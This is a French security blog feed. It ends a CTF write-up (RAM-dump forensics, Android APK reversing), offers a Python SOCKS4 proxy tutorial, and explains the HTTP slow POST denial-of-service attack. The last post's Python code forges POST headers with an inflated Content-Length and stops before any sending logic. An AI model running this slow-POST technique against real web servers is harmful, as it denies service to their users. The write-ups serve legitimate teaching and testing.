<p>Même topo que précédemment. On nous donne seulement une image <strong>vmem</strong> qui est une image de la ram d&#8217;une machine virtuelle <strong>VMWare</strong>. Seul problème, <strong>volatility</strong> ne marche pas dessus. Pour le coup cela m&#8217;a un peu refroidi, je comptais mettre à profit l&#8217;expérience acquise sur le soft au challenge précédent pour résoudre rapidement celui-ci. Je me souviens ensuite des logiciels de forensic : <strong>foremost</strong> et <strong>Autopsy</strong>. Le premier est un file carver (récupère les fichiers de l&#8217;image) et le second un outil d&#8217;analyse de disque dur. Le second ne reconnait pas non plus l&#8217;image. Le premier récupère une série d&#8217;image dont un portrait dont le visage est flouté avec en surimpression un point d&#8217;interrogation. Le logiciel a également récupéré une vingtaine d&#8217;éxécutables. Ayant la grande flemme d&#8217;utiliser la commande &#8220;strings&#8221; dessus pour énumérer toute les chaines harcodées pour trouver un logiciel qui attire mon attention, je décide de procéder autrement (pour ceux qui se demandent, un fichier récupéré par foremost est composé uniquement de chiffres, probablement l&#8217;adresse en mémoire ou le fichier a été récupéré, rien d&#8217;excitant sauf pour les necrophages).</p>
<p>Je ressorts <strong>memorize</strong> qui lui contrairement à <strong>volatility</strong> récupère la liste des processus lancé sur la machine au moment de la prise du dump mémoire. On voit donc qu&#8217;un certain processus nommé &#8220;nc&#8221; (le petit nom de netcat) tourne sur la machine et connecté en sus à l&#8217;adresse secte.server<em>of</em>dark_hamster.com et sur le port 48625. On avance à pas de géant. <strong>Memorize</strong> ne peut rien nous apprendre de plus mais l&#8217;on sait où chercher maintenant. Netcat étant un couteau suisse réseau, la commande relevée indique que netcat est connecté au serveur des hamsters sur le port indiqué. Seul problème : ce nom de domaine n&#8217;est pas résolu. Je pense tout de suite à trouver le fichier host mais sans succès. Dans un dernier sursaut (aka 30 minutes avant la fin du challenge):</p>
<pre class="prettyprint lang-csh linenumstrigger linenums">D:challengeforensic300&amp;gt;strings DumpRAM_CTF.vmem | grep i -A 3 -B 3 hamster
FILE0
FILE0
FILE0
secte.server_of_dark_hamster.com
88.190.230.12
+*Vt
vAgzv
--
...
---
Nnbf
INTL
secte
server_of_dark_hamster
test-PC
MSFT 5.0
'si.com
Secret pass is H4x0r
rver_of_dark_hamster
AleD
@PyL
@PyL</pre>
<p>On affiche les trois lignes avant et après chaque occurrence de hamster dans la mémoire grâce à grep et à strings. On tombe sur deux choses intéressantes: un mot de passe et une ip. L&#8217;ip se trouve être en vérité le serveur du challenge. Je le scan avec <strong>nmap</strong> et en effet le port est bien ouvert.</p>
<p>A mon tour d&#8217;utiliser netcat:</p>
<pre class="prettyprint lang-csh linenumstrigger linenums">D:challengeforensic300&amp;gt;nc 88.190.230.12 48625</pre>
<p>J&#8217;initie de cette manière une connexion TCP entre moi et le server distant sur le port passé en argument. Fébrilement je rentre &#8220;H4x0r&#8221; comme mot de passe mais le serveur me coupe la connexion. Et là le doute s&#8217;immisce en moi. Mais je sais aussi que les organisateurs sont vicieux. Je tente donc à la place de &#8220;H4x0r&#8221; de rentrer le mot de passe : &#8220;Secret pass is H4x0r&#8221;.</p>
<pre class="prettyprint lang-csh linenumstrigger linenums">deckard@Stephenson ~
$ nc 88.190.230.12 48625
Secret pass is H4x0r
Nice job!

The hash is 9vjgH368$hgHGjh</pre>
<p>Note: je suis sous cygwin pour le coup.</p>
<p>Et bingo, le serveur répond un hash qui est le flag et qui me permet de marquer des points durement gagnés à la force du grep. Encore 4 heures de ma vie durement comblées.</p>
<h2>RCE200 ou grossièretés et Android</h2>
<p>Dernier challenge que j&#8217;ai résolu. On nous fournit juste un package d&#8217;une application Android. On peut lire à droite et à gauche sur la toile que le <strong>Java</strong> est un langage difficile à obfusquer et aisément décompilable.</p>
<p>Allons y !</p>
<p>Tout d&#8217;abord un apk est un fichier zip. On dézipe ça avec 7zip sans se poser de questions. On récupère ainsi plusieurs fichiers.</p>
<pre class="prettyprint lang-csh linenumstrigger linenums">D:challengerce200rce200&amp;gt;ls -l
total 430
-rw-r--r--    1 deckard  Administ     1420 Mar 29 13:29 AndroidManifest.xml
drwxr-xr-x    2 deckard  Administ        0 Apr  3 09:47 META-INF
-rw-r--r--    1 deckard  Administ     4324 Mar 29 13:29 classes.dex
drwxr-xr-x    7 deckard  Administ     4096 Apr  3 09:40 res
-rw-r--r--    1 deckard  Administ     1544 Mar 29 13:29 resources.arsc</pre>
<p>META-INF et res sont des dossiers qui ne nous intéressent pas. Il y a dedans le certificat qui signe l&#8217;application et une image.</p>
<p>Les classes java sont contenues dans le fichier classes.dex (thx again dr. obvious, oh c&#8217;est bon hein !). A noter que j&#8217;ai essayé d&#8217;incorporer directement le projet dans eclipse mais cela n&#8217;est pas possible. C&#8217;est balot, j&#8217;aurai pu ainsi profiter du debugger ce qui aurait rendu la résolution du problème enfantine. Le fichier <strong>AndroidManifest.xml</strong> est un binaire (et non un xml). Eclipse ne peut donc pas l&#8217;importer.</p>
<p>Peu importe, je télécharge <strong>dex2jar</strong> qui va me donner un jar contenant les fichiers classes à partir du fichier dex. Là encore il ne s&#8217;agit que d&#8217;un fichier zip qui contient les classes java. Cela ne s&#8217;arrêtera donc jamais ?</p>
<p>Finalement on utilise le décompilateur Java <strong>DJ</strong> pour transformer les .class en .java. Pas vraiment besoin de jouer de la ligne de commande jusque là, ces logiciels possèdent une interface graphique (détail inutile mais qui explique le manque de coloration syntaxique).</p>
<p>Nous avons enfin des fichiers sources que nous pouvons incorporer dans Eclipse.</p>
<pre class="prettyprint lang-csh linenumstrigger linenums">D:challengerce200rce200secretndhprequalsrce&amp;gt;ls -l
total 976
D:challengeRCE200.srcndhprequalsrce&amp;gt;ls -l
total 4
-rw-r--r--    1 deckard  Administ     1814 Apr  2 16:58 ReverseMe.java
-rw-r--r--    1 deckard  Administ     2583 Apr  2 16:58 a.java
-rw-r--r--    1 deckard  Administ      846 Apr  2 16:58 b.java
-rw-r--r--    1 deckard  Administ     1335 Apr  2 16:58 c.java</pre>
<p>Les choses étant bien faites pour les organisateurs, les fichiers ne compilent pas. J&#8217;ai bien réussi en réecrivant des sections de code à porter l&#8217;application sur le simulateur Android et à la faire marcher mais cela ne sert à rien à part tester si j&#8217;ai pu injecter des bugs dans le code (et en effet, ça déconne plein pot sic).</p>
<p>Une portion de code attire mon oeil dans le fichier <strong>c.java</strong>:</p>
<pre class="prettyprint linenumstrigger linenums"> private static byte[] a = { 90, 5, 88, 88, 13, 13, 90, 90, 10, 4, 9,11, 93, 90, 11, 15, 93, 95, 5, 93, 5,8,8, 88, 90, 95, 9, 14, 90, 8,13, 94 };
 private static byte[] b = { 91, 83, 83, 91, 80, 89, 99, 79, 88, 87 };
 private static byte[] c = { 113, 120, 9 };
 private static byte[] d = { 93, 82, 88, 78, 83, 85, 88, 18, 79, 76, 89, 89, 95, 84, 18, 93, 95, 72, 85, 83, 82, 18, 110, 121, 127, 115, 123, 114, 117, 102, 121, 99, 111, 108, 121, 121, 127, 116 };
 private static byte[] e = { 111, 116, 125, 17, 13 };</pre>
<p>Un tableau avec des nombres obscurs. Si ce n&#8217;est pas de l&#8217;obfuscation de chaîne de caractère je ne m&#8217;appelle plus <em>*</em>* (hehe mince).</p>
<p>En observant le fichier <strong>a.java</strong>, on remarque qu&#8217;une fonction s&#8217;amuse avec ces chaînes:</p>
<pre class="prettyprint linenumstrigger linenums">for (Object localObject2 = Integer.toHexString(localObject1[i] &amp;amp; 0xFF); ; localObject2 = str)
{
    if (((String)localObject2).length() &amp;gt;= 2)
    {
        StringBuffer localStringBuffer2 = localStringBuffer1.append((String)localObject2);
        i += 1;
        break;
     }
     str = &quot;0&quot; + (String)localObject2;
}</pre>
<p>Note : j&#8217;ai du réecrire des petites portions du code originel car il ne compilait pas.</p>
<p>Juste pour être sûr, je regarde le fichier ReverseMe.javaet b.java. L&#8217;application utilise la reconnaissance vocale et une fois un certain mot acquis, il le compare à une chaine de caractère récupérée par <strong>a.java</strong>.</p>
<pre class="prettyprint linenumstrigger linenums">ArrayList localArrayList =paramIntent.getStringArrayListExtra(&quot;android.speech.extra.RESULTS&quot;);
if ((!localArrayList.isEmpty()) &amp;amp;&amp;amp; (a.b((String)localArrayList.get(0))))
{
    TextView localTextView = this.b;
    String str = a.a((String)localArrayList.get(0));
    localTextView.setText(str);
}</pre>
<p>On voit ici clairement que l&#8217;on compare une chaîne de a.java avec la chaîne récupérée par la reconnaissance vocale. Je n&#8217;explique pas tout le code n&#8217;étant pas du tout un développeur android (mais <strong>J2ME</strong> pour la petite histoire, au pays du caribou on aime (trop) <strong>blackberry</strong>).</p>
<p>En réecrivant en partie a.java, j&#8217;arrive à dumper les chaînes de caractères encodés:</p>
<pre class="prettyprint linenumstrigger linenums">a:f9dd11ff6857af73ac9a944dfc52f41b
b:google_sdk
c:MD5
d:android.speech.action.RECOGNIZE_SPEECH
e:SHA-1</pre>
<p>La chaîne &#8216;a&#8217; correspond au MD5 de salope (que l&#8217;on trouve sur Google). C&#8217;est vraiment charmant. Je n&#8217;explique pas le SHA-1. Cet indice a sûrement permis aux non francophones de finir ce challenge.</p>
<p>J&#8217;installe (enfin) l&#8217;application apk sur mon <strong>HTC DESIRE HD</strong> (<em>torse mis en avant</em>). Fort de mon petit mot salope je le prononce a tue tête à mon téléphone. Cela ne fonctionne pas. Mon téléphone est en anglais. Je passe la reconnaissance de voix en français. Ca ne marche toujours pas. Impossible.</p>
<p>Et là, une petite subtilité qui aurait pu me faire passer à côté du flag. Le filtre sur les mots à connotations sexuelles est activé par défaut. Merci <strong>Google</strong>. Et voilà, l&#8217;application me donne un hash après avoir prononcé ces belles paroles à mon téléphone. Plus précisement il me donne le SHA-1 de &#8220;salope&#8221;.</p>
<p>Encore 4 petites heures pour faire tout ça.</p>
<h2>Conclusion</h2>
<p>J&#8217;ai passé un superbe week-end grâce à tout cela. C&#8217;était ma première participation à un évenement du genre. Je regrette juste de ne pas avoir eu le temps de regarder certains challenges (notamment Crypto300 qui était une application client/serveur en python) mais je n&#8217;ai pas eu le temps. Pour pouvoir plus marquer il n&#8217;y a pas de secret: s&#8217;entrainer plus et lire plus <a href="http://www.nibbles.fr">nibbles</a>, mais également motiver son équipe. Je remercie <strong>seb</strong> qui était toujours présent pour nous relancer dans la course, ça m&#8217;a motivé à rester concentré sur le même problème pendant 4 heures d&#8217;affilé. N&#8217;ayant pas l&#8217;habitude de l&#8217;exercice, la phase de compréhension des outils est très importante. Je retiens qu&#8217;il ne sert à rien de sauter d&#8217;étape en étape en esperant gagner des flags facile. Pour moi, la technique est vraiment de se concentrer avec tout ses moyens sur un problème. C&#8217;est ce qui a coulé mon équipe, les gens se sont éparpillés sur tous les problèmes en même temps, et n&#8217;arrivant à en résoudre aucun, ils se sont découragés. Culture fast food (je donne des leçons de vie maintenant, on aura tout vu). On va essayer de faire mieux la prochaine fois.</p>
<p>Je suis vraiment admiratif de mecs comme <strong>rootBSD</strong> ou nibbles que j&#8217;ai déjà cité pour leur boulot de vulgarisation. Et voilà j&#8217;essaye moi aussi de poser ma petite pierre (un petit caillou) à l&#8217;édifice.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.deckard.fr/2011/04/05/la-nuit-du-hack-2011-prequal/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Qu&#8217;est ce qu&#8217;un proxy</title>
		<link>http://www.deckard.fr/2010/12/15/quest-ce-quun-proxy/</link>
		<comments>http://www.deckard.fr/2010/12/15/quest-ce-quun-proxy/#comments</comments>
		<pubDate>Wed, 15 Dec 2010 10:43:35 +0000</pubDate>
		<dc:creator>deckard</dc:creator>
				<category><![CDATA[Geekerie]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[proxy]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://wp.star-killer.net/?p=383</guid>
		<description><![CDATA[Premier petit article technique dans un but éhonté de tester la coloration syntaxique. Je vous en reparlerai si ça se trouve probant. Ce qui suit présente ce qu&#8217;est un proxy avec une implémentation simple en python. Alors un proxy c&#8217;est quoi (serveur mandataire en bon Français) ? Un proxy est un logiciel qui se place [...]]]></description>
			<content:encoded><![CDATA[<p>Premier petit article technique dans un but éhonté de tester la coloration syntaxique. Je vous en reparlerai si ça se trouve probant. Ce qui suit présente ce qu&#8217;est un proxy avec une implémentation simple en <strong>python</strong>.</p>
<p>Alors un proxy c&#8217;est quoi (serveur mandataire en bon Français) ?</p>
<p>Un proxy est un logiciel qui se place entre un émetteur que nous appellerons Alice et un récepteur que nous appellerons Bob. Un proxy est donc un intermédiaire entre deux entités. Par entité j&#8217;entends, une personne, un ordinateur, un téléphone, etc.</p>
<p>L&#8217;unique but de cet intermédiaire est suivant la nature du message de le relayer ou non. Imaginez un portier dans un hôtel de luxe (faut pas déconner quand même), si vous ressemblez à un clochard il ne vous laissera pas entrer, sinon si vous avez une allure élégante et de bonnes manières je pense que tout ira bien pour vous.</p>
<p><center><img src="http://nobunaga.duc.free.fr/deckard/proxy/proxy.png" alt="proxy" /></center></p>
<p>L&#8217;image de la poste est (presque) toujours excellente pour décrire ce qui se passe sur l&#8217;Internet. Ici, Alice envoie une lettre à Bob. Cependant son ordinateur est configuré pour utiliser un proxy donc sa lettre passe par monsieur le gentil proxy. Celui-ci va ouvrir la lettre, lire son contenu et ensuite refaire une enveloppe pour l&#8217;envoyer à Bob. Enfin, il ne l&#8217;a renvoie pas toujours suivant son utilisation.</p>
<p>Vous avez donc compris qu&#8217;un proxy est un super intermédiaire. Mais pourquoi donc devrions nous utiliser un proxy ? Tout simplement parce qu&#8217;il peut fournir des services comme :</p>
<ul>
<li>Partager une connexion Internet</li>
<li>Identifier des utilisateurs</li>
<li>Offrir un (relatif) anonymat</li>
<li>Filtrer les virus</li>
<li>Modifier le contenu des messages</li>
</ul>
<p>Cette petite bête est donc bien utilisée pour faire plusieurs choses. L&#8217;usage le plus courant est l&#8217;identification et le filtrage de virus. Dans un registre plus large, on peut dire que le proxy permet d&#8217;offrir de la sécurité et de la traçabilité. </p>
<p>Je vous propose une implémentation très basique en <strong>Python</strong> d&#8217;un proxy <strong>Socks4</strong>. <strong>Socks4</strong> est un protocole très simple qui permet à une application d&#8217;utiliser un proxy de manière transparente. Pour que cela marche, il faut bien entendu que l&#8217;application le supporte. Pour ceux que ça intéresse, voici la spécification <a href="http://csocks.altervista.org/rfc/socks4.protocol.txt">socks4</a>.</p>
<p>Dernière petite note avant de commencer à montrer du code. Je vais utiliser des sockets asynchrones. Le principe est bien plus simple à appréhender pour des non programmeurs (pour les autres, c&#8217;est un bon moyen de faire des sockets asynchrones). Retenez juste que le programme &#8220;dort&#8221; tant que personne ne lui parle ou s&#8217;il n&#8217;a rien à envoyer.</p>
<p>Voyez tout le code qui suit non pas comme un didacticiel pour apprendre à écrire du code <strong>Python</strong> ou un proxy. Ceci est juste une implémentation naïve que je partage ici. Culture !</p>
<pre class="prettyprint lang-py linenumstrigger linenums">
import socket, asyncore
import sys
import os

from Fpair import *

var_socks_addr = ''
var_socks_port = 1080

class Fmanager(asyncore.dispatcher):
    def __init__(self):
        print(&quot;....Starting....&quot;)
        asyncore.dispatcher.__init__(self)
        self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
        self.bind((var_socks_addr, var_socks_port))
        self.listen(3)
        self.dict_pair = dict()

    def delete_key(self, key):
        try :
            del self.dict_pair[key]
            print(&quot;........Deleted : &quot; + str(key))
        except :
            pass

    def handle_accept(self):
        conn, addr = self.accept()
        print(&quot;....Connecting : &quot; + str(addr))
        self.dict_pair[addr] = Fpair(conn, addr, self)

    def handle_close(self):
        print(&quot;exit !&quot;)
        self.close()

if __name__ == '__main__':
    sock = Fmanager()
    asyncore.loop()
</pre>
<p>Voilà notre première classe Fmanager qui sert de point d&#8217;entrée. Vous remarquerez que le programmeur est &#8220;trappé&#8221; dans sa fonction main par l&#8217;objet <strong>asyncore</strong>. <strong>Fmanager</strong> écoute sur toutes les interfaces de la machine sur le port 1080 en attendant une connexion. Vous remarquerez que j&#8217;ai vu les choses en grand, un dictionnaire gère en effet une paire de sockets (client / serveur). Permettant virtuellement de placer un nombre illimité de clients sur le proxy.</p>
<p>Voici cette classe de paire de socket très simple :</p>
<pre class="prettyprint lang-py linenumstrigger linenums">
from Fsock import * 

class Fpair:
    def __init__(self, conn, key, manager):
        self.key = key
        self.manager = manager
        self.left_socket = Fsock(conn, self, True)
        self.right_socket = None

    def connect_other_side(self, so, conn):
        if(so == self.left_socket):
            self.right_socket = Fsock(conn, self, False)

    def send_other_side(self, so, mess_hdl):
        if(so == self.left_socket):
            self.right_socket.buffer = mess_hdl
        else:
            self.left_socket.buffer = mess_hdl

    def close(self):
        try:
            self.left_socket.close()
        except:
            pass
        try:
            self.right_socket.close()
        except:
            pass
        self.manager.delete_key(self.key)
</pre>
<p>Rien de très extraordinaire dans ce bout de code. La paire de sockets s&#8217;emploie à connecter un client et un serveur (quand un bout est connecté par le biais de Fmanager, l&#8217;autre bout se connectera alors). De la même manière cela sert pour faire transiter un message de bord à bord. Notez que cela aurait pu être fait dans le code de chaque socket mais cela aurait brisé un principe d&#8217;encapsulation.</p>
<p>Voici la reine, le joyau et l&#8217;élément le plus important de tous, la classe Fsock.</p>
<pre class="prettyprint lang-py linenumstrigger linenums">
import socket, asyncore
import sys
import os

from Fhandler import *

class Fsock(asyncore.dispatcher):

    def __init__(self, conn=None, pair=None, left=True):
        if(left == True):
            asyncore.dispatcher.__init__(self, sock=conn)
        else:
            asyncore.dispatcher.__init__(self)
            self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
            self.connect(conn)
        self.pair = pair
        self.buffer = ''

    def handle_write(self):
        sent = self.send(self.buffer)
        self.buffer = self.buffer[sent:]

    def handle_read(self):
        mess_rcv = self.recv(8192)
        mess_hdl = Fhandler.handler(mess_rcv, self)
        self.pair.send_other_side(self, mess_hdl)

    def handle_close(self):
        try:
            print(&quot;........Closing : &quot; + str(self.socket.getpeername()))
        except socket.error as e:
            print(&quot;............&quot; + str(e))
        self.pair.close()
</pre>
<p>Encore un socket asynchrone. Encore une classe extrêmement simple. A chaque fois qu&#8217;un message est reçu, la fonction <strong>handle_read</strong> est appelée. Une fonction du &#8220;handler&#8221; est ensuite appelée. C&#8217;est ici que l&#8217;on filtre les données. Ensuite on envoie les données modifiées (ou non) par le &#8220;handler&#8221; à l&#8217;autre socket. Cela marche quelque soit le sens.</p>
<p>Nous avons vu donc que le cœur de notre programme se situe dans la classe &#8220;handler&#8221;. C&#8217;est cette classe qui va nous permettre de modifier ou du moins examiner les paquets qui transitent par notre programme.</p>
<pre class="prettyprint lang-py linenumstrigger linenums">
class Fhandler:

    def handler(mess_rcv, so):
        mess_hdl = mess_rcv
        hex_data = mess_rcv.encode(&quot;hex&quot;)
        #print(hex_data)
        # handle socks4 protocol
        if(hex_data[:4] == h_socks4 and len_socks4 == len(hex_data)):
            Fhandler.socks4(hex_data, so)
            mess_hdl = ''
        return mess_hdl
    handler = staticmethod(handler)

    def socks4(mess_socks, so):
        # get ip : port
        addr_port = int(mess_socks[4:8], 16)
        addr_ip = binascii.unhexlify(mess_socks[8:16])
        addr_ip = str(int(mess_socks[8:10], 16)) + '.' + str(int(mess_socks[10:12], 16))
            + '.' + str(int(mess_socks[12:14], 16)) + '.' + str(int(mess_socks[14:16], 16))
        print(addr_port)
        print(addr_ip)
        # connect right socket
        so.pair.connect_other_side(so, (addr_ip, addr_port))
        # send confirmation to the client
        so.send(binascii.unhexlify(d_socks4))

    socks4 = staticmethod(socks4)
</pre>
<p>C&#8217;est un peu moche mais le &#8220;handler&#8221; utilise des fonctions statiques. Cela évite de devoir l&#8217;instancier à tout bout de champ. </p>
<p>Pour conclure, voici un rapide aperçu d&#8217;un proxy socks4 écrit en python. Les sockets asynchrones permettent de s&#8217;affranchir de l&#8217;aspect thread et concurrence. </p>
<p>Petit exemple pratique : si je veux modifier le paquet qui commence par disons les 2 premiers octets par &#8220;aa:bb&#8221;, je dois rajouter la ligne suivante dans la fonction <em>Fhandler.handler(mess_rcv, so)</em>.</p>
<pre class="prettyprint lang-py linenumstrigger linenums">
 if(hex_data[:4] == &quot;aabb&quot;):
      # modification super cool
</pre>
<p>C&#8217;est aussi simple que cela. Le concept est utilisé par l&#8217;outil de sécurité <em>Webgoat</em> édité par l&#8217;association <em>OWASP</em>. Webgoat permet de modifier à la volée les données envoyées à un serveur tel que le cookie, les arguments d&#8217;un <em>GET</em> mais aussi les champs cachés, etc &#8230; Le concept d&#8217;un point de vue sécurité permet à un attaquant de corrompre un logiciel légal sans pour autant le modifier en lui même.</p>
<p>Je vous laisse y réfléchir !</p>
]]></content:encoded>
			<wfw:commentRss>http://www.deckard.fr/2010/12/15/quest-ce-quun-proxy/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Slow released attack ou le DDOS du pauvre</title>
		<link>http://www.deckard.fr/2010/12/03/slow-released-attack-ou-le-ddos-du-pauvre/</link>
		<comments>http://www.deckard.fr/2010/12/03/slow-released-attack-ou-le-ddos-du-pauvre/#comments</comments>
		<pubDate>Fri, 03 Dec 2010 01:58:51 +0000</pubDate>
		<dc:creator>deckard</dc:creator>
				<category><![CDATA[InfoSec]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[ddos]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[slowreleased]]></category>

		<guid isPermaLink="false">http://wp.star-killer.net/?p=386</guid>
		<description><![CDATA[Aujourd&#8217;hui nous allons voir l&#8217;implémentation simple d&#8217;une attaque connue mais qui vient de connaître son quart d&#8217;heure de gloire avec le DDOS de Wikileaks. C&#8217;est en Python et c&#8217;est bon ! La slow released attack est une attaque qui porte sur une erreur de conception du protocole HTTP. Pour bien comprendre le concept nous devons [...]]]></description>
			<content:encoded><![CDATA[<p>Aujourd&#8217;hui nous allons voir l&#8217;implémentation simple d&#8217;une attaque connue mais qui vient de connaître son quart d&#8217;heure de gloire avec le <strong>DDOS</strong> de Wikileaks. C&#8217;est en Python et c&#8217;est bon !</p>
<p>La <strong>slow released attack</strong> est une attaque qui porte sur une erreur de conception du protocole HTTP. Pour bien comprendre le concept nous devons jeter un coup d&#8217;oeil à l&#8217;en-tête d&#8217;une requête. Voilà à quoi cela ressemble.</p>
<pre class="prettyprint linenumstrigger linenums">POST /w/index.php?title=Hypertext_Transfer_Protocol&amp;amp;action=submit HTTP/1.1
User-Agent: Opera/9.80 (Windows NT 6.1; U; fr) Presto/2.6.30 Version/10.63
Host: fr.wikipedia.org
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: fr-FR,fr;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Connection: Keep-Alive
Content-Length: 21784
Content-Type: text/plain</pre>
<p>C&#8217;est un peu verbeux mais simple à comprendre. J&#8217;ai effectué un HTTP POST sur la page de Wikipedia concernant HTTP. La requête POST permet d&#8217;envoyer une requête avec des données. Ici ces données sont renseignées par les champs de l&#8217;en-tête avec le préfixe <strong>Content</strong>. J&#8217;envoie donc ici 21784 octets sous forme de texte (respectivement renseigné par les champs Content-Length et Content-Type).</p>
<p>Le protocole renseigne la longueur des données que je vais envoyer. Mais pourquoi donc ? Ne suffirait-il pas pour connaître la taille de mesurer la longueur des données ?</p>
<p>Et bien non car il peut arriver d&#8217;envoyer cette requête en plusieurs tronçons. Le champ Content-Length sert donc à prévenir le serveur du nombre d&#8217;octets que le client va lui envoyer avant de pouvoir faire quelque chose des données.</p>
<p>C&#8217;est sur ce point que nous allons intervenir. Le principe de ne jamais croire le client n&#8217;a jamais été ici aussi vrai. Tout le concept réside ici dans l&#8217;exploitation de ce champ afin de parvenir à un déni de service.</p>
<p>Je ne vous propose pas un logiciel pour réaliser le déni de service mais pour mesurer cette vulnérabilité. Des organismes comme <strong>OWASP</strong> ont sorti des outils graphiques et un peu plus sexy (enfin en <strong>Java</strong> mais bref) donc amusons nous avec les possibilités du code <img src='http://www.deckard.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Un serveur Web utilise plusieurs timers pour gérer les connexions avec les clients. Par exemple j&#8217;initie une connexion TCP et je n&#8217;envoie aucune requête, le serveur à un timer pour ça. Si ce timer déborde, le serveur ferme ma connexion. Même chose avec le Content-Length. J&#8217;annonce au serveur que je vais envoyer 60 octets. Je ne lui envoie que 10 octets, le serveur va me laisser un temps donné avant de fermer ma connexion. Là où la chose est belle, c&#8217;est que si je renvoie un bout de données, ce compteur est remis à zéro et redémarré en attendant la suite. Vous pouvez donc imaginer une attaque qui consiste à envoyer des données à intervalles réguliers (prenons au hasard la valeur du timer) pour maintenir la connexion ouverte et vous avez un <strong>DDOS</strong> ne nécessitant pas beaucoup de bande passante. SI vous voulez en savoir plus, je vous invite à lire la présentation de &#8216;<strong>OWASP</strong> sur leur site (je n&#8217;ai plus le lien sous la main mais ça me reviendra !).</p>
<pre class="prettyprint linenumstrigger linenums">import random
import urlparse

class httpWorker:

    # const
    # array are used to build random packets
    # HTTP
    HTTP_POST = &quot;POST&quot;
    HTTP_VERSION = [&quot;HTTP/1.1&quot;]
    # serious stuff, courtesy for my mac*** girlfriend
    USER_AGENT = [&quot;User-Agent: Opera/9.80 (Windows NT 6.1; U; en) Presto/2.6.30 Version/10.63&quot;,
        &quot;Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12&quot;,
        &quot;Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; fr-ca)&quot;,
        &quot;AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4&quot;,
        &quot;Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.12 (KHTML, like Gecko) Chrome/9.0.581.0 Safari/534.12&quot;,
        &quot;Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.18) Gecko/2010042101 Iceweasel/3.0.6 (Debian-3.0.6-3)&quot;,
        &quot;Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)&quot;,
    ]
    HTTP_ACCEPT = [&quot;text/html, application/xhtml+xml, */*&quot;,
        &quot;text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1&quot;,
    ]
    HTTP_ACCEPT_LANGUAGE = [&quot;Accept-Language: fr-FR,fr;q=0.9,en;q=0.8&quot;,
        &quot;fr-FR,fr;q=0.8,en-US;q=0.6,en;q=0.4&quot;,
        &quot;en-CA;q=0.8,en;q=0.6&quot;,
    ]
    HTTP_ACCEPT_CHARSET = [&quot;ISO-8859-1,utf-8;q=0.7,*;q=0.3&quot;,
        &quot;ISO-8859-1,utf-8;q=0.7,*;q=0.7&quot;,
    ]
    HTTP_ACCEPT_ENCODING = [&quot;gzip,deflate,sdch&quot;,
        &quot;gzip, deflate&quot;,
        &quot;deflate, gzip, x-gzip, identity, *;q=0&quot;,
    ]
    HTTP_CONNECTION  = [&quot;Keep-Alive&quot;]
    HTTP_CONTENT_TYPE = [&quot;text/plain&quot;,
        &quot;text/html&quot;,
    ]

    # SETTINGS
    # magic number
    MIN_LENGTH = 150
    MAX_LENGTH = 2458

    PAYLOAD_CHARSET = &quot;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890.=?!&quot;

    # init http worker without knowing of timeout timer
    # on server side
    def __init__(self, url=&quot;http://localhost/?lol=true&amp;amp;urlparse=1&quot;):
        self.url = urlparse.urlparse(url)
        print(self.url)
        # generate length of the packet
        # note : do not generate data
        self.data_length_max = random.randint(self.MIN_LENGTH, self.MAX_LENGTH)
        self.data_length_index = random.randint(1, self.MIN_LENGTH)

        # must be called at the end
        self.forgePOST();

    def forgePayload(self, length):
        payload = &quot;&quot;
        for i in range(0, length):
            payload += self.PAYLOAD_CHARSET[random.randint(0, len(self.PAYLOAD_CHARSET)-1)]
        return payload

    # forge http packet with random settings
    # not very elegant
    def forgePOST(self):

        if(self.url.query != &quot;&quot;):
            url_trailer = &quot;?&quot;
        else:
            url_trailer = &quot;&quot;

        # build http header
        self.http_header = self.HTTP_POST + &quot; &quot;
        self.http_header += self.url.path + url_trailer + self.url.query + &quot; &quot;
        self.http_header += random.choice(self.HTTP_VERSION) + &quot;rn&quot;
        self.http_header += &quot;User-Agent: &quot; + random.choice(self.USER_AGENT) + &quot;rn&quot;
        self.http_header += &quot;Host: &quot; + self.url.netloc + &quot;rn&quot;
        self.http_header += &quot;Accept: &quot; + random.choice(self.HTTP_ACCEPT) + &quot;rn&quot;
        self.http_header += &quot;Accept-Language: &quot; + random.choice(self.HTTP_ACCEPT_LANGUAGE) + &quot;rn&quot;
        self.http_header += &quot;Accept-Charset: &quot; + random.choice(self.HTTP_ACCEPT_CHARSET) + &quot;rn&quot;
        self.http_header += &quot;Accept-Encoding: &quot; + random.choice(self.HTTP_ACCEPT_ENCODING) + &quot;rn&quot;
        self.http_header += &quot;Connection: &quot; + random.choice(self.HTTP_CONNECTION) + &quot;rn&quot;

        # WARNING : THIS IS THE ONLY INTERESTING PART OF THE CODE
        self.http_header += &quot;Content-Length: &quot; + str(self.data_length_max) + &quot;rn&quot;

        # boring again
        self.http_header += &quot;Content-Type: &quot; + random.choice(self.HTTP_CONTENT_TYPE) + &quot;rn&quot;

        self.http_header += &quot;rn&quot;

        print(self.http_header)

        # build body
        self.http_msg = self.http_header
        self.http_msg += self.forgePayload(self.data_length_index)</pre>
